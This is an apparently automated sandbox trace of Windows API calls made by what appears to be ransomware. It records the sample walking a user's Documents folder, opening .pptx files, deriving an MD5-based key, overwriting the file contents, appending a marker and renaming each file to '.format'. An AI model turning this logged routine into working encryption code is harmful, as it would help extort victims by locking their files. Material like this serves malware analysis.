[0067.135] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.135] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.135] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.135] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.135] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.135] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.135] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.135] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.135] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.135] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.135] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.135] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.135] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.135] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.135] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.135] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.135] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.135] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.135] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.135] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.135] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.135] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.135] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.135] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.135] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.135] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.135] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.135] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.135] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.136] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.136] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.136] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.136] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.136] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.136] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.136] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.136] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.136] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.136] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.136] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.136] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.136] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.136] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.136] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.136] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.136] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.136] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.136] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.136] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.136] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.136] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.136] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.136] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.136] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.136] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.136] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.136] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.136] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.136] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.136] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.136] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.136] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.136] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.136] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.136] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.137] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.137] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.137] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.137] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.137] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.137] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.137] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.137] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.137] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.137] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.137] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.137] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.137] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.137] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.137] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.137] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.137] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.137] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.137] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.137] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.137] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.137] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.137] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.137] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.137] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.137] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.137] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.137] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.137] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.137] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.137] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.137] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.137] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.138] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.138] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.138] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.138] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.138] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.138] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.138] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.138] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.138] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.138] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.138] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.138] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.138] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.138] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.138] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.138] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.138] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.138] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.138] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.138] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.138] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.138] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.138] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0067.138] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0067.138] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0067.138] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.138] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0067.138] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0067.138] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0067.138] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0067.138] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3286da0 | out: hHeap=0x5d0000) returned 1 [0067.138] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0067.139] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0067.139] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0067.139] PathFindFileNameW (pszPath="") returned="" [0067.139] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.139] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x96562880, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x96562880, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0067.139] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.139] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x96562880, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x96562880, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.139] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x961f4c0, ftCreationTime.dwHighDateTime=0x1d53a10, ftLastAccessTime.dwLowDateTime=0x51cb77c0, ftLastAccessTime.dwHighDateTime=0x1d4de3c, ftLastWriteTime.dwLowDateTime=0x51cb77c0, ftLastWriteTime.dwHighDateTime=0x1d4de3c, nFileSizeHigh=0x0, nFileSizeLow=0xcbd8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-p4ffBCma.pptx", cAlternateFileName="-P4FFB~1.PPT")) returned 1 [0067.139] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.139] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8e) returned 0x313ab18 [0067.139] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.139] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-p4ffBCma.pptx") returned=".pptx" [0067.139] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-p4ffBCma.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-p4ffbcma.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.139] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=52184) returned 1 [0067.139] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.142] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xcbb2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.142] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.142] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.142] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.142] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.142] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xcbd8, lpOverlapped=0x0) returned 1 [0067.143] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.143] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.143] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.143] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.143] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac4e0) returned 1 [0067.143] CryptCreateHash (in: hProv=0x6ac4e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.144] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.144] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.144] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.144] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.144] GetLastError () returned 0x0 [0067.144] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.144] CryptReleaseContext (hProv=0x6ac4e0, dwFlags=0x0) returned 1 [0067.144] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.144] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xcbe0) returned 0x32b2f40 [0067.144] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.144] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.144] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0xcbd3, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0xcbd3, lpOverlapped=0x0) returned 1 [0067.144] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0067.144] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xcbd8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.144] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.144] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0067.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.145] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0067.145] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0067.145] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.145] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.145] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.145] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.145] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.145] CloseHandle (hObject=0x5c8) returned 1 [0067.146] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175580 [0067.146] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x880) returned 0x3178dd8 [0067.146] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175580 | out: hHeap=0x5d0000) returned 1 [0067.146] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-p4ffBCma.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-p4ffbcma.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-p4ffBCma.pptx.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-p4ffbcma.pptx.format")) returned 1 [0067.146] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.146] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.147] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.147] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x139b8b60, ftCreationTime.dwHighDateTime=0x1d4c029, ftLastAccessTime.dwLowDateTime=0x9df28890, ftLastAccessTime.dwHighDateTime=0x1d4f422, ftLastWriteTime.dwLowDateTime=0x9df28890, ftLastWriteTime.dwHighDateTime=0x1d4f422, nFileSizeHigh=0x0, nFileSizeLow=0x116a2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1dRMBdJ8JilqvY.pptx", cAlternateFileName="1DRMBD~1.PPT")) returned 1 [0067.147] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.147] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8e) returned 0x313ab18 [0067.147] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.147] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1dRMBdJ8JilqvY.pptx") returned=".pptx" [0067.147] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1dRMBdJ8JilqvY.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1drmbdj8jilqvy.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.148] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=71330) returned 1 [0067.148] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.150] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x1167c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.150] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.151] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.151] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.151] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.151] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x116a2, lpOverlapped=0x0) returned 1 